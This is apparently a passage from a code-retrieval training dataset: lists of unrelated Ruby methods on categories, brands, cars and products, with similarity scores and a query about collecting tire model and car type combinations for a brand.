"def skittle_combos(skittles)\n skittles.combination(2).map(&:sort).uniq\nend",
"def adv_categories\n return ['AIR', 'BIKING', 'CULTURAL', 'CAMPING', 'MOTOR', 'CLIMBING', 'HIKING', 'SNOW', 'WATER', 'OTHER']\n end",
"def full_classification_list\n \n vs = Hash[Vineyard.all.map { |v| [v.id, {:name => v.name, :up_id => v.subregion_id}] }]\n ss = Hash[Subregion.all.map { |s| [s.id, {:name => s.name, :up_id => s.region_id}] }]\n rs = Hash[Region.all.map { |r| [r.id, {:name => r.name, :up_id => r.country_id}] }]\n cs = Hash[Country.all.map { |c| [c.id, {:name => c.name, :up_id => nil}] }]\n\n full_list = []\n \n vs.reject { |k,v| v[:name].nil? || v[:name] == \"\" }.each do |k, v|\n s = ss[v[:up_id]]\n r = rs[s[:up_id]]\n c = cs[r[:up_id]]\n full_list = full_list.append([k, v[:name], v[:up_id], s[:name], s[:up_id], r[:name], r[:up_id], c[:name]])\n end\n \n ss.reject { |k,s| s[:name].nil? || s[:name] == \"\" }.each do |k, s|\n r = rs[s[:up_id]]\n c = cs[r[:up_id]]\n full_list = full_list.append([nil, nil, k, s[:name], s[:up_id], r[:name], r[:up_id], c[:name]])\n end\n \n rs.reject { |k,r| r[:name].nil? || r[:name] == \"\" }.each do |k, r|\n c = cs[r[:up_id]]\n full_list = full_list.append([nil, nil, nil, nil, k, r[:name], r[:up_id], c[:name]])\n end\n \n cs.reject { |k,c| c[:name].nil? || c[:name] == \"\" }.each do |k, c|\n full_list = full_list.append([nil, nil, nil, nil, nil, nil, k, c[:name]])\n end\n\n return full_list\n end",
"def club_sets\n super.uniq\n end",
"def available_smartphones_category(country, category)\n sp = Smartphone.select('id, model, code, price, category').where('state= ? AND country= ? AND (category= ? OR category= ?)',\n 'catalog',country, category, 'ALL')\n # Format to show in view\n smp = sp.map { |m| [m.model, m.id] }\n return smp\n\n end",
"def _tags\n tags = []\n categories.find_each do |category|\n tags << category.self_and_ancestors.pluck(:name)\n end\n tags.flatten.uniq\n end",
"def parallel_drug_courses\n ConceptName.where(name: ['CPT', 'INH', 'Rifapentine', 'Isoniazid/Rifapentine'])\n end",
"def active_cate_ids\n self.products.group_by(&:cate_id).keys.sort\n end",
"def core_category_candidates(category)\n candidates = []\n singularize_name_nouns(category.name, category.head).each do |phrase|\n candidates.concat(candidates_for_name(phrase, @category_filters))\n\n end\n candidate_set = create_candidate_set(category.name,candidates.uniq)\n end",
"def terms\n @data.flatten.uniq\n end",
"def get_other_varieties(product)\n variety = []\n product_details = data.products[product]\n data.products.each do |key, this|\n if get_brand_name(product).eql?(get_brand_name(key)) && \n product_details.category.eql?(this.category) && \n product_details.type.eql?(this.type) &&\n !product.eql?(key)\n variety.push(link_to(this.scent, this.affiliate_link))\n end\n end\n return variety\n end",
"def matching_substances_to(ingredient)\n matching_substances = []\n # does ingredient match any substance in this allergen category \n matching_substances = self.get_substances.select {|substance| \n (ingredient.upcase.include?(substance.upcase) || substance.upcase.include?(ingredient.upcase))\n } \n return matching_substances\n end",
"def game_companies\n comps = []\n add_entities(comps, UNIT1_COMPANIES) if @units[1]\n add_entities(comps, UNIT3_COMPANIES.reject { |c| comps.any? { |comp| comp[:value] == c[:value] } }) if @units[3]\n add_entities(comps, UNIT2_COMPANIES.reject { |c| comps.any? { |comp| comp[:value] == c[:value] } }) if @units[2]\n comps\n end",
"def collect_tier_categories_for_select(klass, select=true)\n result = klass.find_all_categories.map {|c| [c.name, c.id]}\n result.insert(0, [\"Select...\".t, nil])\n result\n end",
"def split_categories(team_distinct_best)\n # Verify there are some categories thjat needs to be splitted\n category_to_split = get_categories_to_split.map(&:code)\n unless category_to_split.empty?\n # Scan team records searching for those with categories that needs split\n records_to_split = team_distinct_best.records.select { |record| category_to_split.rindex(record.get_category_type) }\n unless records_to_split.empty?\n # Split records\n # Finds taregt category\n # Check if for target category a record is already present\n # If present choses the better one\n records_to_split.each do |record_to_split|\n record = record_to_split.get_record_instance\n pool_code = record_to_split.get_pool_type\n gender_code = record_to_split.get_gender_type\n event_code = record_to_split.get_event_type\n target_category = get_category_to_split_into(record)\n\n if team_distinct_best.has_record_for?(pool_code, gender_code, event_code, target_category.code)\n if record.get_timing_instance < team_distinct_best.get_record_instance(pool_code, gender_code, event_code, target_category.code).get_timing_instance\n # Update previous target record\n team_distinct_best.delete_record(pool_code, gender_code, event_code, target_category.code)\n team_distinct_best.add_record(record, target_category.code, pool_code, gender_code, event_code)\n end\n else\n # Creates new record\n team_distinct_best.add_record(record, target_category.code, pool_code, gender_code, event_code)\n end\n team_distinct_best.delete_record(pool_code, gender_code, event_code, record_to_split.get_category_type)\n end\n end\n end\n team_distinct_best\n end",
"def part_categories\n\t\tall_models = []\n\t\tpart_categories = []\n\t\tfolder = File.join(Rails.root, \"app\", \"models\")\n\t\tDir[File.join(folder,\"*\")].each do |filename|\n\t\t all_models << File.basename(filename).sub(/.rb$/, \"\").split(\"_\").map { |name| name.capitalize }.join\n\t\t exception_list = ( all_models.select { |m| m.end_with? \"Import\"} << [\"Concerns\",\"User\"] ).flatten\n\t\t part_categories = (all_models - exception_list).map {|cat| Kernel.const_get(cat)}\n\t\tend\n\t\tpart_categories\n\tend",
"def categories\n add_to_query restrict_kind: 'category'\n end",
"def cities\n galleries.map{|gallery| gallery.city}.uniq\n end",
"def get_categories(row)\n categories = []\n cat = at_in(:category1 , row) # should invent some loop here\n categories << cat if cat\n cat = at_in(:category2 , row) # but we only support\n categories << cat if cat\n cat = at_in(:category3 , row) # three levels, so there you go\n categories << cat if cat\n categories\n end",
"def cities()\n self.galleries().map { | gallery | gallery.city }.uniq\n end",
"def trends_extract_category(bookings)\n \"['#{bookings.first[1].keys.join(\"', '\")}']\"\n end",
"def get_category_to_split_into(meeting_individual_result)\n category_type = meeting_individual_result.category_type\n if category_needs_split?(category_type)\n # Find the swimmer age\n swimmer_age = meeting_individual_result.get_swimmer_age\n element = @distinct_categories.rindex { |e| e.code != category_type.code && e.age_begin <= swimmer_age && e.age_end >= swimmer_age && !e.is_undivided }\n end\n element ? @distinct_categories[element] : find_category_by_code(category_type.code)\n end",
"def constant_recipes\n user_diet_pref = self.dietary_preferences.split(' ')\n if self.dietary_preferences == \"\"\n results = Recipe.all.select {|recipe| recipe.diet_labels.include?(self.diet) }\n else \n results = Recipe.all.select do |recipe|\n user_diet_pref.all? {|pref| recipe.health_labels.include?(pref)}\n end.select {|recipe| recipe.diet_labels.include?(self.diet) }\n end\n results\n end",
"def animal_species\n Animal.all.map do |animal|\n animal.specie\n end.uniq\n end",
"def analyze\n @categories = Violation.unique_categories\n end",
"def items(limit_to: [], exclude: [])\n grouped = categorizations.group_by(&:categorizable_type)\n\n if limit_to.present?\n grouped.select! { |ct, _ | limit_to.include?(ct.underscore.to_sym) }\n end\n\n if exclude.present?\n grouped.reject! { |ct, _ | exclude.include?(ct.underscore.to_sym) }\n end\n\n grouped.map do |type, objs|\n ids = objs.map(&:categorizable_id)\n weights = objs.map(&:weight)\n type.constantize.find(ids)\n .each_with_index { |obj, index| obj.category_weight = weights[index] }\n end.reduce([], :concat)\n .sort_by { |categorized| [categorized&.category_weight, categorized&.label] }\n end",
"def get_models\n relatable_category_id = params[:car_calculator][:fuel_type]\n relatable_category_ids = params[:car_calculator][:relatable_category_ids]\n result = CarApp.calculated_session.related_categories_from_relatable_category(relatable_category_id, \"model\", :relatable_category_ids => relatable_category_ids) \n final_result = []\n result = (result || []).each_pair do |key, value| \n final_result << {:name => value, :value => key}\n end\n render :json => {:options => final_result}.to_json\n end",
"def allowed_cat_entries(options)\n rails_logger('allowed_cat_entries', 0)\n @values[\"#{options[:prov_field_name]}_category\".to_sym] = options[:category]\n cat = Classification.lookup_by_name(options[:category].to_s)\n result = cat ? cat.entries.each_with_object({}) { |e, h| h[e.name] = e.description } : {}\n rails_logger('allowed_cat_entries', 1)\n result\n end",
"def get_economic_categories_from_budget_items_list(items)\n def count_different_descriptions(items)\n items.map{|i| i[:description]}.uniq.count\n end\n\n # First, group items by economic concept\n buckets = {}\n items.each do |item|\n concept = item[:economic_concept]\n next if concept.nil? or concept.empty?\n next if concept.length > 4 # Budget item\n # Note: We don't need economic categories for budget items (concept length==5), they are \n # just items belonging to a heading. At one point the obstacle to this was distinguishing \n # heading subtotals from the items themselves in the output files, but we've sorted that \n # out through a new 'budget item' column in the output (see below).\n\n buckets[concept] = [] if buckets[concept].nil? \n buckets[concept].push item\n end\n\n # Then, for each bucket, decide whether we need to tag the economic concept\n categories = {}\n buckets.each do |concept, items|\n if count_different_descriptions(items) > 1 # We need to tag the concept\n # We expect this to happen only for headings\n if concept.length < 3\n puts \"Warning: inconsistent descriptions for article or chapter #{concept}!\"\n end\n\n # Create a category for each item, and modify the items to point to them\n items.each do |item|\n tagged_concept = \"#{concept}/#{get_entity_id(item[:section], item[:service])}\"\n item[:economic_concept] = tagged_concept\n categories[tagged_concept] = item[:description]\n end\n else\n categories[concept] = items.first[:description] # Pick the first, they're all the same\n end\n end\n categories\nend",
"def mtb_category_ids_for(race)\n return \"NULL\" unless race.category\n\n case race.category.name\n when \"Senior Men\"\n categories = [::Category.find_or_create_by_name(\"Pro Men\")]\n when \"Senior Women\"\n categories = [::Category.find_or_create_by_name(\"Pro Women\"), ::Category.find_or_create_by_name(\"Category 1 Women\")]\n when \"Category 3 Men\"\n categories = [::Category.find_or_create_by_name(\"Category 1 Men\")]\n when \"Category 3 Women\"\n categories = [::Category.find_or_create_by_name(\"Category 2 Women\")]\n when \"Category 4/5 Men\"\n categories = [::Category.find_or_create_by_name(\"Category 2 Men\"), ::Category.find_or_create_by_name(\"Category 3 Men\")]\n when \"Category 4 Women\"\n categories = [::Category.find_or_create_by_name(\"Category 3 Women\")]\n else\n categories = [race.category] \n end\n\n categories.map(&:id).join \", \"\n end",
"def non_novice_skills_by_category\n non_novice = Hash.new\n SkillSet.category_order.each() do |category|\n non_novice[SkillSet.categories[category]] = skills[category].select() { |x| x.experience_level != :novice }.sort().reverse()\n end\n non_novice\n end",
"def get_categories\n @cards.each do |card|\n if !@categories.include?(card.category)\n @categories << card.category\n end\n end\n @categories\n end",
"def categories\n @categories ||= wayfinder.decorated_vocabularies.sort_by(&:label)\n end",
"def categories\n return [] if @feed.channel.categories.empty? && @feed.channel.dc_subjects.empty?\n [@feed.channel.categories, ((@feed.channel.dc_subjects.empty?) ? nil : @feed.channel.dc_subjects)].flatten.uniq.compact.collect{|c| c.content}.reject{|c| c == '' || c.match(/^\\s+$/)}\n end",
"def budget_categories_data\n # @budget.budget_items.collect { |budget_item| budget_item.category.name.to_s }.to_json\n categories = Category.for_budget.to_a\n categories << Category.find_by_name(\"Miscellaneous\")\n return categories.collect { |category| category.name.to_s }.to_json\n end",
"def frequent_itemsets\n k = 2\n l = [nil, large_one_itemsets]\n\n # Transform itemsets into a mapping of tid to {Itemset}\n tid_itemsets = database.map do |tid, items|\n [tid, items.map do |item|\n l[k - 1].find { |itemset| itemset.items[0] == item }\n end.compact.to_set]\n end\n\n until l[k - 1].empty?\n cks = gen(l[k - 1])\n kth_tid_itemsets = Hamster::Hash[{}]\n\n tid_itemsets.each do |tid, set_of_itemsets|\n # Find candidate itemsets in ck contained in the transaction\n cts = set_of_itemsets.flat_map do |ck_1|\n ck_1.extensions.select do |ck|\n ck.generators.subset?(set_of_itemsets)\n end\n end.to_set\n\n # Register the support for each transaction candidate\n cts.each { |ct| ct.support += 1 }\n\n # Update the transaction candidate list for the next k value\n kth_tid_itemsets = kth_tid_itemsets.merge(tid => cts) unless cts.empty?\n end\n\n l[k] = cks.select { |candidate| candidate.support >= min_support }\n tid_itemsets = kth_tid_itemsets.map do |tid, cts|\n [tid, cts.select { |c| l[k].include?(c) }.to_set]\n end\n\n k += 1\n end\n\n l.flatten.compact.map(&:to_h)\n end",
"def categories\n data['JobCategory'] || []\n end",
"def check_subcats\n for i in 1..50\n catid = \"category_id_#{i}\".to_sym\n if params[:expense][catid] \n params[:expense][:category_id] = params[:expense][catid] unless params[:expense][catid] == \"\" \n params[:expense].delete catid\n else\n break\n end \n end \n end",
"def all_category_ids\n end",
"def tag_combinations_for(tokens)\n tags = tokens.map{|t| t.tags.map(&:klass_name) }\n head, *rest = tags\n return [] if tags.empty? \n combinations = head.product *rest\n combinations.map{|x| x.join(\" \")}\n end",
"def subtaxa_whose_classification_needs_to_be_changed\n subtaxa = Name.subtaxa_of_genus_or_below(text_name).not_deprecated.to_a\n uniq_subtaxa = subtaxa.filter_map(&:synonym_id).uniq\n # Beware of AR where.not gotcha - will not match a null classification below\n synonyms = Name.where(deprecated: true, synonym_id: uniq_subtaxa).\n where(Name[:classification].not_eq(classification))\n (subtaxa + synonyms).map(&:id).uniq\n end",
"def bisac_categories_codes\n self.bisac_categories.map { |c| c.code }.uniq\n end",
"def group_by_used!(feed)\n # prepare details of existing course site\n course_term_year = feed[:canvas_course][:term][:term_yr]\n course_term_code = feed[:canvas_course][:term][:term_cd]\n course_ccns = []\n feed[:canvas_course][:officialSections].each do |official_section|\n section_term_match = (official_section[:term_cd] == course_term_code) && (official_section[:term_yr] == course_term_year)\n raise RuntimeError, \"Invalid term specified for official section with CCN '#{official_section[:ccn]}'\" unless section_term_match\n course_ccns << official_section[:ccn]\n end\n\n associatedCourses = []\n unassociatedCourses = []\n\n feed[:teachingSemesters].each do |semester|\n course_semester_match = (semester[:termCode] == course_term_code) && (semester[:termYear] == course_term_year)\n if course_semester_match\n semester[:classes].each do |course|\n # either iterate and count the matches\n # or loop through and return the matches, then count that\n course[:containsCourseSections] = false\n course[:sections].each do |section|\n if course_ccns.include?(section[:ccn])\n course[:containsCourseSections] = true\n section[:isCourseSection] = true\n else\n section[:isCourseSection] = false\n end\n end\n if course[:containsCourseSections]\n associatedCourses << course\n else\n unassociatedCourses << course\n end\n end\n semester[:classes] = associatedCourses + unassociatedCourses\n else\n semester[:classes].each do |course|\n course[:containsCourseSections] = false\n end\n end\n end\n feed\n end",
"def categories\n category\n end",
"def get_guidance_group_options\n # find all the themes in this plan\n # and get the guidance groups they belong to\n ggroups = []\n Template.includes(phases: [sections: [questions: [themes: [guidances: [guidance_group: :org]]]]]).find(self.template_id).phases.each do |phase|\n phase.sections.each do |section|\n section.questions.each do |question|\n question.themes.each do |theme|\n theme.guidances.each do |guidance|\n ggroups << guidance.guidance_group if guidance.guidance_group.published && !guidance.guidance_group.org.is_other?\n # only show published guidance groups\n end\n end\n end\n end\n end\n return ggroups.uniq\n end",
"def classes\n curriculums = self.qualifications.collect{ |q| q.curriculums }.flatten\n\n unless curriculums.empty?\n curriculums.collect{ |c| c.school_class }.flatten.uniq\n else\n return []\n end\n end",
"def get_labels_from_suite_and_case(suite_labels, case_labels)\n [suite_labels, case_labels].flatten.compact.uniq\n end"
] |
[
"0.65831774",
"0.6457169",
"0.6087188",
"0.6050091",
"0.60227567",
"0.59662926",
"0.59370995",
"0.59357786",
"0.5825724",
"0.58216643",
"0.57676286",
"0.5759138",
"0.5734927",
"0.57027525",
"0.56972903",
"0.56753653",
"0.5655451",
"0.5648612",
"0.5637516",
"0.56079876",
"0.56046623",
"0.5602156",
"0.5571285",
"0.55565464",
"0.5547592",
"0.5547091",
"0.5540039",
"0.5531781",
"0.5492577",
"0.5473546",
"0.54731256",
"0.5469333",
"0.546506",
"0.544368",
"0.54403824",
"0.5439299",
"0.5435463",
"0.54297566",
"0.541575",
"0.54085183",
"0.5393753",
"0.5381041",
"0.5377265",
"0.5368475",
"0.5364467",
"0.5358214",
"0.53579575",
"0.5347014",
"0.53261185",
"0.5313291",
"0.5310272",
"0.52909166",
"0.5288904",
"0.52790093",
"0.52783257",
"0.52766436",
"0.52712536",
"0.5265802",
"0.5263746",
"0.52635664",
"0.52632207",
"0.5260186",
"0.525501",
"0.5248437",
"0.5233091",
"0.5231608",
"0.52238846",
"0.52222687",
"0.5213462",
"0.520837",
"0.519809",
"0.51944494",
"0.5170879",
"0.5151381",
"0.5138148",
"0.51290727",
"0.5128136",
"0.51182914",
"0.51156515",
"0.5110202",
"0.5108192",
"0.5106307",
"0.5099439",
"0.50935704",
"0.50919265",
"0.508664",
"0.50816315",
"0.5080161",
"0.5073858",
"0.50531286",
"0.5048787",
"0.5047437",
"0.50464535",
"0.5042109",
"0.5038457",
"0.50353634",
"0.50292546",
"0.5024714",
"0.50062764",
"0.5002357"
] |
0.71169597
|
0
|
Collect all distinct tire model / car type combinations for this brand
|
def get_all_car_types
models = TireModelInfo.joins('INNER JOIN tire_models ON tire_models.tire_model_info_id = tire_model_infos.id')
.select('tire_model_infos.*, tire_models.tire_code AS "tire_code", MIN(tire_models.orig_cost) AS "starting_cost"')
.where(tire_manufacturer_id: self.id)
.group('tire_code, tire_model_infos.id')
.order('tire_model_infos.tire_model_name ASC')
#Also combine passenger and performance tires into a sorted list so the controller doesn't have to
result = {'P-Z' => []}
models.each do |m|
type = (m.tire_code.blank? ? 'P' : m.tire_code) #Missing tire_code is allowed: default to P
m.starting_cost = (m.starting_cost.to_f / 100).to_money if m.starting_cost
result[type] = [] if result[type].nil?
result[type] << m
result['P-Z'] << m if (type == 'P' || type == 'Z')
end
result
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def products_brands(products)\n products.map{|product| product['brand']}.uniq\nend",
"def brands_array\n ($products_hash['items'].map { |toy| toy['brand'] }).uniq\nend",
"def cars\n return cars_by_license_plate unless @license_plate.empty?\n cars_by_color\n end",
"def brands\n beers.collect{ |b| b.brand }\n end",
"def get_uniq_brand()\n\t$unique_brand = $products_hash['items'].map{ |item| item['brand'] }.uniq\nend",
"def dedup_brands\n $data.map {|iso| iso[\"brand\"]}.uniq\nend",
"def set_brand_filter\n # return true if @products.nil?\n # return true if generic_results?\n # \n # @brands = @products.map(&:brand).compact.uniq.sort_by(&:name)\n # true\n end",
"def all_smartphones\n sp = Smartphone.select('id, model, code').where(state: 'catalog').uniq(&:code)\n # Format to show in filters\n smp = sp.map { |m| [m.model, m.model] }\n return smp\n end",
"def get_models\n relatable_category_id = params[:car_calculator][:fuel_type]\n relatable_category_ids = params[:car_calculator][:relatable_category_ids]\n result = CarApp.calculated_session.related_categories_from_relatable_category(relatable_category_id, \"model\", :relatable_category_ids => relatable_category_ids) \n final_result = []\n result = (result || []).each_pair do |key, value| \n final_result << {:name => value, :value => key}\n end\n render :json => {:options => final_result}.to_json\n end",
"def all_technologies_list_for_type\n case controller_name\n when \"resources\"\n @model = \"Resource\"\n when \"projects\"\n @model = \"Project\"\n when \"collaborations\"\n @model = \"Collaboration\"\n when \"jobs\"\n @model = \"Job\"\n end\n #need local variable for squeel to work\n model = @model\n ActsAsTaggableOn::Tagging.includes(:tag).where{(taggable_type == model) & (context == 'technologies')}.map{|tagging| tagging.tag.name}.uniq.sort_by!(&:downcase)\n end",
"def get_all_tgp_tire_categories\n models = TireModelInfo.joins('INNER JOIN tire_models ON tire_models.tire_model_info_id = tire_model_infos.id')\n .where(tire_manufacturer_id: self.id).where('tgp_category_id IS NOT NULL')\n .select('DISTINCT tire_model_infos.id, tire_model_infos.tire_model_name, tire_models.tgp_category_id AS \"category_id\"')\n .order('tire_model_infos.tire_model_name ASC')\n names = TireModel.tgp_categories\n result = Hash.new\n models.each do |m|\n cat_id = m[:category_id].to_i\n if cat_id != 0 && names[cat_id]\n result[cat_id] = {:category_name => names[cat_id], :models => []} if result[cat_id].nil?\n result[cat_id][:models] << {:id => m.id, :name => m.tire_model_name}\n end\n end\n result.sort\n end",
"def get_fuel_types\n relatable_category_id = params[:car_calculator][:manufacture]\n result = CarApp.calculated_session.related_categories_from_relatable_category(relatable_category_id, \"fuel_type\") \n final_result = []\n result = result.each_pair do |key, value| \n final_result << {:name => value, :value => key}\n end\n render :json => {:options => final_result}.to_json\n end",
"def brands\n\t\t\tErp::Products::Brand.where(id: self.get_products_for_categories({}).select(:brand_id).where.not(brand_id: nil)).order(:name)\n\t\tend",
"def car_type; end",
"def get_all_tire_categories\n cats = TireModelInfo.joins('INNER JOIN tire_models ON tire_models.tire_model_info_id = tire_model_infos.id',\n 'INNER JOIN tire_categories ON tire_models.tire_category_id = tire_categories.id')\n .where(tire_manufacturer_id: self.id)\n .select('DISTINCT tire_model_infos.id, tire_model_infos.tire_model_name, tire_categories.id AS \"category_id\", tire_categories.category_name AS \"category_name\"')\n .order('tire_categories.id ASC, tire_model_infos.tire_model_name ASC')\n result = Hash.new\n cats.each do |c|\n cat_id = c[:category_id]\n result[cat_id] = {:category_name => c[:category_name], :models => []} if result[cat_id].nil?\n result[cat_id][:models] << {:id => c.id, :name => c.tire_model_name}\n end\n result\n end",
"def mechanics\n cars.map { |car| car.mechanic }\n end",
"def brand_name\n\tproducts_brand = ($products_hash[\"items\"].map {|each_brand| each_brand[\"brand\"]}).uniq\nend",
"def mechanics\n cars.map {|c| c.mechanic}\n end",
"def car_type\n fetch('vehicle.car_types')\n end",
"def mechanics\n self.cars.map do |car|\n car.mechanic\n end\n end",
"def get_cars\n relatable_category_ids = params[:car_calculator][:relatable_category_ids]\n relatable_category_ids << params[:car_calculator][:model]\n result = CarApp.calculated_session.related_objects_from_relatable_categories(\"car\", relatable_category_ids) \n final_result = []\n result = (result || []).each_pair do |key, value| \n final_result << {:name => value, :value => key}\n end\n render :json => {:options => final_result}.to_json\n end",
"def brand_with_model; end",
"def mechanics\n cars.map do |car|\n car.mechanic \n end\n end",
"def skittle_combos(skittles)\n two_flavor_array = Array.new\n skittles.each do |el1|\n skittles.each do |el2|\n if el1 != el2\n two_flavor_array.push([el1, el2].sort)\n end\n end\n end\n two_flavor_array.uniq.sort\nend",
"def owners\n self.car.map do |car| car.owner.uniq\nend\n\n\n\nend",
"def group_by_brand(products)\n products.group_by do |product|\n product[:brand]\n end\nend",
"def index\n @q = CarType.search(params[:q])\n @car_types = @q.result(distinct: true).page(params[:page])\n\n respond_with(@car_types)\n end",
"def animal_species\n Animal.all.map do |animal|\n animal.specie\n end.uniq\n end",
"def push_BRANDS_uniq(brand) \n if !BRANDS.any?{|ele| ele == brand}\n BRANDS << brand\n end\n end",
"def brand\n cc_type\n end",
"def brand\n cc_type\n end",
"def wine_type_by_food\n wine_array = self.wines\n wine_types = wine_array.map do |wine|\n wine.varietal\n end\n wine_types.uniq!\n end",
"def make_brands_section\n\tbrands = $products_hash[\"items\"].map {|toy| toy[\"brand\"]}.uniq\n\tbrands.each do |brand|\n\t\t$same_brand = $products_hash[\"items\"].select {|toy| toy[\"brand\"] == brand}\n\t print_brand_name brand\n\t brand_toy_stock brand\n\t\tprint_brand_toy_stock\n\t average_price_brand brand\n\t\tprint_average_price_brand\n\t total_sales_brand brand\n\t\tprint_total_sales_brand\n\tend\nend",
"def initialize(brand)\n @brand = brand\n BRANDS << brand\n BRANDS.uniq!\n end",
"def possible_types\n @data.flat_map { |iso2, data| data[:possible] }.uniq\n end",
"def available_smartphones_all(country)\n sp = Smartphone.select('id, model, code, price').where('state= ? AND country= ?',\n 'catalog',country).uniq(&:code)\n # Format to show in view\n smp = sp.map { |m| [m.model, m.id] }\n return smp\n end",
"def cars\n Car.all.select{|car_instance| car_instance.mechanic == self}\n end",
"def software_types\n types = []\n self['852j'].each do |j|\n if j =~ /\\Acd-?rom/i\n types << 'CR'\n end\n if j =~ /\\Asoftware/i\n types << 'CS'\n end\n end\n types.uniq!\n return types\n end",
"def all_mechanics\n self.all_cars.map do |car|\n car.mechanic\n end\n end",
"def find_cartridges(name)\n debug \"Finding cartridge #{name}\"\n if name.is_a?(Hash)\n regex = name[:regex]\n type = name[:type]\n name = name[:name]\n end\n\n filtered = Array.new\n cartridges.each do |cart|\n if regex\n filtered.push(cart) if cart.name.match(regex) and (type.nil? or cart.type == type)\n else\n filtered.push(cart) if (name.nil? or cart.name == name) and (type.nil? or cart.type == type)\n end\n end\n return filtered\n end",
"def all_models_by_make(make)\n by_make(make).map(&:model)\n end",
"def owners\n self.cars.map{|car_instance| car_instance.owner}.uniq\n end",
"def client_cars\n Car.all.select do |car|\n car.mechanic == self\n end\n end",
"def set_marketshare_brand_type\n @brand_types = Marketshare::BrandType.all\n end",
"def find_season_type_category_codes\n CategoryType.are_not_relays.is_divided.for_season_type(@season.season_type)\n .for_season(@season)\n .sort_by_age\n .pluck(:code).uniq\n end",
"def canon_products items\n\titems.select do |item|\n\t\titem['product']['brand'].downcase == 'canon'\n\tend\nend",
"def brands\n options = {\n content_type: 'brand',\n include: 1,\n order: 'sys.createdAt'\n }\n\n objects('Brand', options)\n end",
"def animal_species\n animals.map { |animal| animal.species}.uniq\n end",
"def especies_filtros\n return unless tiene_filtros?\n self.taxones = Especie.select(:id).select(\"#{Scat.attribute_alias(:catalogo_id)} AS catalogo_id\").joins(:scat).distinct\n por_especie_id\n por_nombre\n #estatus\n #solo_publicos\n estado_conservacion\n tipo_distribucion\n uso\n formas_crecimiento\n ambiente\n\n #return unless por_id_o_nombre\n #categoria_por_nivel\n end",
"def pets_by_breed(pet_shop, pet_type)\n pet_type_array = []\n for pet in pet_shop[:pets]\n if pet_type == pet[:breed]\n pet_type_array.push(pet)\n end\n end\n return pet_type_array\nend",
"def types\n [\n { value: 'bus', name: 'Bus' },\n { value: 'coach', name: 'Coach' },\n { value: 'hgv', name: 'Heavy goods vehicle' },\n { value: 'van', name: 'Van' },\n { value: 'minibus', name: 'Minibus' },\n { value: 'private_car', name: 'Car' },\n { value: 'motorcycle', name: 'Motorcycle' }\n ]\n end",
"def variant_combinations\n combinations = []\n 0.upto(2 ** FIELD_VARIANTS.length - 1) do |b|\n combinations << combination = []\n FIELD_VARIANTS.each_with_index do |variant, i|\n combination << variant if b & 1<<i > 0\n end\n end\n combinations\n end",
"def scan_for_distinct_bests\n team_distinct_best = RecordX4dDAO.new(@team, RecordType.find_by(code: 'TTB'))\n # Cycle between set genders, pools, events and distinct categories\n @gender_types.each do |gender_type|\n @pool_types.each do |pool_type|\n @event_types.each do |event_type|\n @distinct_categories.each do |category_type|\n record = get_team_best_individual_result(gender_type, pool_type, event_type, category_type.code)\n team_distinct_best.add_record(record) if record\n end\n end\n end\n end\n team_distinct_best\n end",
"def filter_by_brand(products, brand)\n products.select do |product| #o select fax«z o mesmo que o each e o map, apenas devolve o que é true.\n product[:brand] == brand #nos products que definimos no puts vai procurar dentro do array o que está na :brand\n end\nend",
"def brand()\n sql = \"SELECT * FROM manufacturers WHERE id = $1\"\n values = [@manuf_id]\n brand = SqlRunner.run(sql, values)\n return brand.map{|manuf| Manufacturer.new(manuf)}[0]\n end",
"def retrieve_distinct_categories\n if @distinct_categories\n categories = @distinct_categories\n else\n categories = []\n @team.season_types.each do |season_type|\n season_type.seasons.sort_season_by_begin_date\n .last\n .category_types.are_not_relays\n .sort_by_age.each do |category_type|\n categories << category_type unless categories.rindex { |e| e.code == category_type.code }\n end\n end\n end\n categories\n end",
"def animal_species\n animal_arr = self.animals.map do |animal|\n animal.species\n end.uniq\n end",
"def water_types\n self.waters.map{|water| water.water_type.category}.uniq.sort\n end",
"def animal_species\n Animals.uniq.select { |animal| animal.species }\n end",
"def get_other_varieties(product)\n variety = []\n product_details = data.products[product]\n data.products.each do |key, this|\n if get_brand_name(product).eql?(get_brand_name(key)) && \n product_details.category.eql?(this.category) && \n product_details.type.eql?(this.type) &&\n !product.eql?(key)\n variety.push(link_to(this.scent, this.affiliate_link))\n end\n end\n return variety\n end",
"def get_variants\n return [] if is_pdc?\n get_variants_by_package.values.flatten.uniq\n end",
"def drivers\n full_attributes.map(&:driver).uniq.reject(&:nil?)\n end",
"def terms\n @data.map(&:uniq).flatten\n end",
"def personal_mechanic_of\n self.cars_serviced.map{|car| car.car_owner}\nend",
"def services\n Car.all.find do |c| \n c.classification == self.specialty\n end\nend",
"def credit_card_brand_options\n SUPPORTED_CARDTYPES.map { |brand| [I18n.t(brand, scope: 'activemerchant.credit_card.brand'), brand] }\n end",
"def all_bams\n bm = Bam.select('id, model, code').where(state: 'catalog').uniq(&:code)\n # Format to show in view\n bam = bm.map { |m| [m.model, m.model] }\n return bam\n end",
"def make_and_model\n\tfor i in 0...@manufacturers.count\n\t\tputs \"#{i}. #{@manufacturers[i]}: #{@models[i]}\"\n\t\ti += 1\n\tend\nend",
"def index\n @vehicle_models = VehicleModel.order(:vehicle_brand_id)\n end",
"def cars\n Car.all.select { |car| car.car_owner == self }\n end",
"def cars\n car_arr = Car.all.select do |car_ob|\n #binding.pry\n car_ob.mechanic == self\n end\n car_arr.map do |car_ob|\n car_ob\n end\nend",
"def mechanics\n Mechanic.all.select{|mechanic|mechanic.specialty == self.classification}\n end",
"def index\n\n#client = Google::APIClient.new\n\n@products = Product.paginate(:page => params[:page], :per_page => 30)\n@manufacturers = Product.uniq.pluck(:manufacturer)\n@categories = Product.uniq.pluck(:type_b)\n@sub_categories = Product.uniq.pluck(:sub_type)\n\nend",
"def blocks_models\n @blocks_model = BlocksModel.all.map{ |bm| bm.model_type.downcase }.uniq\n end",
"def cars\n groups.map do |id, records|\n Car.new(id, records.first[:title], records)\n end\n end",
"def pets_by_breed(shop, type)\n pets = []\n for pet in shop[:pets]\n if pet[:breed] == type\n pets.push(pet)\n end\n end\n return pets\nend",
"def animal_species()\n self.animals().map() { | animal | animal.species() }.uniq\n end",
"def products\n products_by_market = []\n #gives me an array of vendors\n venders_by_market = FarMar::Vendor.by_market(@id)\n\n venders_by_market.each do | value |\n products = FarMar::Product.by_vendor(value.id)\n products_by_market.concat(products)\n end\n\n return products_by_market\n end",
"def species\n species = Array.new\n\n mobs.each do |mob|\n species << mob.specie\n end\n\n return species.uniq\n end",
